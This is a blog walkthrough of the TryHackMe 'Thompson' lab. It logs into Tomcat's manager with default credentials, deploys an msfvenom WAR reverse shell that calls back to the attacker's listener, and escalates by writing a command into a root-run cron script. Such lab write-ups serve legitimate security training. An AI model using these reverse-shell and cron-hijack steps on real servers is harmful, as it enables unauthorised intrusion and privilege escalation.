Thompson (Tryhackme) Room Writeup By Jonty Bhardwaj

Hello Reader, I am Jonty Bhardwaj currently enrolled in Master Certificate in Cyber Security HackerU program. Today I am here to share a writeup on a Tryhackme machine called Thompson.

Now first of all we will navigate to the Room URL and join it.

https://tryhackme.com/room/bsidesgtthompson

After starting the Machine we will first connect through Open VPN and ping the machine through the IP we are given to see if the connection is established. After we are successful in pinging the machine, we will start the fun part which is Pentesting and getting root privilege.

ping 10.10.126.40

Now first we will start a Nmap scan to see what are the ports and services open on the machine.

nmap -sV -sT -T4 10.10.126.40

Now we can see that 3 ports are open and the most promising port we can gather info looks to be port 8080. Lets see what’s on the website there.

On the main website of you try to open server status it gives us a login form , we left the login form empty as we didn’t know any credentials. We were directed to a new webpage with some credentials written on it.

http://10.10.126.40:8080/manager/status

According to this webpage we found the credentials to be

Username : tomcat

Password : s3cret

We opened the manager link on the webpage to see what functionalities we could manage . We got a login form on which we used the acquired credentials — tomcat and s3cret as username and password.

On seeing the information on the page carefully we know that’s its Tomcat Application Manager through which we can manage the applications on the webserver and functionalities.

Here the most interesting thing which caught our eye was that we can upload a WAR file on the server and maybe we can exploit it and try to upload a reverse shell on the server and get a shell back.

We now created a war reverse shell using Msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.8.107.42 LPORT=4444 -f war -o web.war

We then uploaded this war reverse shell on the server .

As you can see, we have successfully uploaded the war reverse shell , we have to run out listener on our kali machine.

nc -lnvp 4444

Now its time to run the reverse shell on the server and get a shell back on our listener.

We just click on the war file on the server and the reverse shell is activated and we got a shell back on our listner.

Lets search the system and find the user flag first .

We first used the python pty command to upgrade the shell .

python -c “import pty; pty.spawn(‘/bin/bash’)”

We found the user flag in the jack user directory.

cat /home/jack/user.txt

Now lets try to escalate our privilege to root and get the root flag.

Looking around we see that there is a shell script which is running automatically and it has got all permissions . We could use this script to copy the root.txt flag from root into our jack user directory.

echo “cp /root/root.txt /home/jack/root.txt” > id.sh

Now we have to wait for the script to execute itself and check regularly if the root.txt flag is copied or not.

And after some time the script has been executed and we have copied the root.txt flag into our jack directory.

And like this we have got our final flag . Congratulations !

cat root.txt

Here we have successfully escalated to root shell after using the exploit command and found the root flag .

Proof of Completion

Congratulations on completing the room and reading the blog . Hope my blog helped you in your journey and made you learn something new .

Happy Hacking !!

--

--

--

Avid learner and writer trying to gain as much knowledge as possible in the domain of cyber security while sharing my learning to help other people like myself.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

OAuth 2.0 and OpenID Connect For Dummies

Balancing rights under GDPR

W4 Jan | EN | Story of the week: Ransomware on the Darkweb

How To Block / Blacklist a Number on vivo NEX 3 5G

How To Block / Blacklist a Number on vivo NEX 3 5G

Introduction to EverLit Token, Pre-sale Event and Launch.

Numio and UTU: Increasing Trust Verification

What is Proxy Server?

How to sign up for Bittrex to buy $REAL

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Jonty Bhardwaj

Jonty Bhardwaj

Avid learner and writer trying to gain as much knowledge as possible in the domain of cyber security while sharing my learning to help other people like myself.

More from Medium

THM Anonymous Writeup

HTB-Frolic Writeup

TryHackMe | CTF | Walkthrough | Raven

Cyber Santa HTB CTF — Writeup